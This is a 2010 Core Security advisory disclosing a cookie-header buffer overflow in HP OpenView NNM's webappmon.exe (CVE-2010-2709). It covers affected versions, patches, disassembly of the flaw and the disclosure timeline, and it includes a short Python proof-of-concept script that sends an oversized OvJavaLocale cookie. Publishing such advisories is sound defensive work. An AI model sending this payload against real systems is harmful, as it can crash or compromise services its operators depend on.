HP OpenView Network Node Manager (OV NNM) 7.53 – ‘OvJavaLocale’ Buffer Overflow
HP OPENVIEW NNM OVJAVALOCALE BUFFER OVERFLOW VULNERABILITY 1. ADVISORY INFORMATION Title: HP OpenView NNM OvJavaLocale Buffer Overflow Vulnerability Advisory Id: CORE-2010-0608 Advisory URL: http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow Date published: 2010-08-03 Date of last update: 2010-08-03 Vendors contacted: HP Release mode: Coordinated release 2. VULNERABILITY INFORMATION Class: Buffer overflow [CWE-119] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2010-2709 Bugtraq ID: N/A 3. VULNERABILITY DESCRIPTION There is a buffer overflow vulnerability in the webappmon.exe CGI application included with HP OpenView NNM[1]. This bug can be exploited by sending a cookie header with a maliciously crafted OvJavaLocale value. Code execution is likely achievable in a reliable way. 4. VULNERABLE PACKAGES OpenView NNM v.7.53 Older versions are probably affected too, but they were not checked. 5. NON-VULNERABLE PACKAGES OpenView NNM v.7.53 with latest patches: HP-UX (IA): PHSS_40708 or subsequent, HP-UX (PA): PHSS_40707 or subsequent, Linux RedHatAS 2.1: LXOV_00103 or subsequent, Linux RedHat4AS-x86_64: XOV_00104 or subsequent, Solaris PSOV_03527: or subsequent, Windows: NNM_01203 or subsequent. 6. VENDOR INFORMATION, SOLUTIONS AND WORKAROUNDS Upgrade to the latest version of OpenView NNM, available from HP. More information can be found on HP's security bulletin HPSBMA02563 SSRT100165 rev.1: http://www.securityfocus.com/archive/1/512822 7. CREDITS This vulnerability was discovered and researched by Nahuel Riva from Core Security Technologies. The publication of this advisory was coordinated by Pedro Varangot. 8. TECHNICAL DESCRIPTION / PROOF OF CONCEPT CODE HP OpenView NNM OvJavaLocale Buffer Overflow Vulnerability HP NNM bundles with a CGI script called webappmon.exe. This application receives its parameters over HTTP POST and GET. A buffer overflow occurs when invoking it, for example with a GET query, and maliciously setting cookies by sending the following HTTP HEADER: 'Cookie: OvJavaLocale=%s.Cp1252;' % ("A" * 10000) To parse this header the OvWwwDebug function from ovwww.dll is called: 5A307477 OvWwwDebug 55 PUSH EBP 5A307478 8BEC MOV EBP,ESP 5A30747A B8 20140000 MOV EAX,1420 5A30747F E8 CC850000 CALL ovwww.5A30FA50 5A307484 33C0 XOR EAX,EAX 5A307486 A0 543F325A MOV AL,BYTE PTR DS:[5A323F54] 5A30748B 83E0 01 AND EAX,1 5A30748E 85C0 TEST EAX,EAX 5A307490 75 22 JNZ SHORT ovwww.5A3074B4 This function calls a sprintf_new() wrapper from ov.dll: 5A307521 8B8D E8EBFFFF MOV ECX,DWORD PTR SS:[EBP-1418] 5A307527 51 PUSH ECX 5A307528 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] 5A30752B 52 PUSH EDX 5A30752C 8D85 00ECFFFF LEA EAX,DWORD PTR SS:[EBP-1400] 5A307532 50 PUSH EAX 5A307533 FF15 9001315A CALL DWORD PTR DS:[<&ov.sprintf_new>] ; ov.sprintf_new Which calls sprintf() with incorrectly passed and sanitized parameters: 5A028409 sprintf_new /$ 55 PUSH EBP 5A02840A |. 8BEC MOV EBP,ESP 5A02840C |. B8 10000100 MOV EAX,10010 ; UNICODE "PROFILE=C:\Documents and Settings\All Users" 5A028411 |. E8 3A650000 CALL ov.5A02E950 [...] 5A02854E |. 51 PUSH ECX ; /<%s> 5A02854F |. 68 6441045A PUSH ov.5A044164 ; |format = "%s" 5A028554 |. 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; | 5A028557 |. 52 PUSH EDX ; |s 5A028558 |. FF15 C002035A CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ; \sprintf [...] There format equals HTTP_COOKIE=%s. This triggers a buffer overflow that overwrites the functions return address and exception handler on the stack. The following Python code triggers the buffer overflow: import socket ip = "192.168.1.0" port = 80 target = (ip, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target) headers = 'GET /OvCgi/webappmon.exe?ins=nowait&sel=%s&app%s=&act%s=&arg=&help=&cache=1600 HTTP/1.1\r\n' % ("A", "B", "C") headers += 'Host: %s\r\n' % ip headers += 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n' headers += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' headers += 'Accept-Language: en-us,en;q=0.5\r\n' headers += 'Accept-Encoding: gzip,deflate\r\n' headers += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n' headers += 'Keep-Alive: 300\r\n' headers += 'Connection: keep-alive\r\n' headers += 'Cookie: OvJavaLocale=%s.Cp1252;' % ("A" * 10000) + 'OvWebSession=14150:AnyUser%3a\r\n' headers += 'Cache-Control: max-age=0\r\n' headers += '\r\n' s.sendall(str(headers)) 9. REPORT TIMELINE 2010-06-22: Core Security Technologies contacts HP Security Alert team, offering them a draft copy of this advisory either encrypted or in plaintext. 2010-06-22: HP replies with proper PGP keys for encrypted communication. 2010-06-24: Core Security Technologies sends an encrypted draft of this advisory to HP. 2010-06-25: HP replies stating that they were not able to reproduce this vulnerability using the latest patches for NNM 7.53. 2010-06-28: Core Security Technologies asks for the latest patches for Windows in order to double-verify what HP claims. 2010-06-30: HP agrees to supply patches to Core Security Technologies with the condition that they are not redistributed. 2010-06-30: Core Security Technologies agrees to HPs conditions of not reditributting patches and confirms that they will also be used internally and for vulnerability research purposes. 2010-06-30: HP uploads the patches to a secured FTP server for Core Security Technologies to download. 2010-07-05: Core Security Technologies informs HP that further patches are needed in order to correctly install the supplied ones. 2010-07-06: HP uploads the newly needed patches to a secured FTP server for Core Security Technologies to download. 2010-07-08: Core Security Technologies informs HP that the new patches require yet another patch, and asks for confirmation that no more patches will be needed after this one. 2010-07-08: HP uploads the yet another needed patches to a secured FTP server for Core Security Technologies to download. It states that they beleive no more patches will be needed. 2010-07-26: Core Security Technologies informs HP that the vulnerability reported is correctly patched, and that they had found no vulnerabilities related to the originally reported one on the patched version. Core Security Technologies also asks for the CVE number assigned to the vulnerability when it was initially found and patched, if there was any. 2010-07-26: HP informs Core Security Technologies that since this vulnerability was fixed without acknowledgment, they'll proceed to publish a security bulletin, and asks for clarification on proper credits to include in an acknowledgement in the bulletin. 2010-07-26: Core Security Technologies replies informing about proper credits, and states that if HP publishes a security then this advisory will be published. 2010-08-03: HP publishes HPSBMA02563 SSRT100165 rev.1 security bulletin. 2010-08-03: Core Security Technologies publishes advisory CORE-2010-0608. 10. REFERENCES [1] HP Network Node Manager (NNM) Advanced Edition software 11. ABOUT CORELABS CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com/. 12. ABOUT CORE SECURITY TECHNOLOGIES Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. 13. DISCLAIMER The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) Licence: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. PGP/GPG KEYS This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |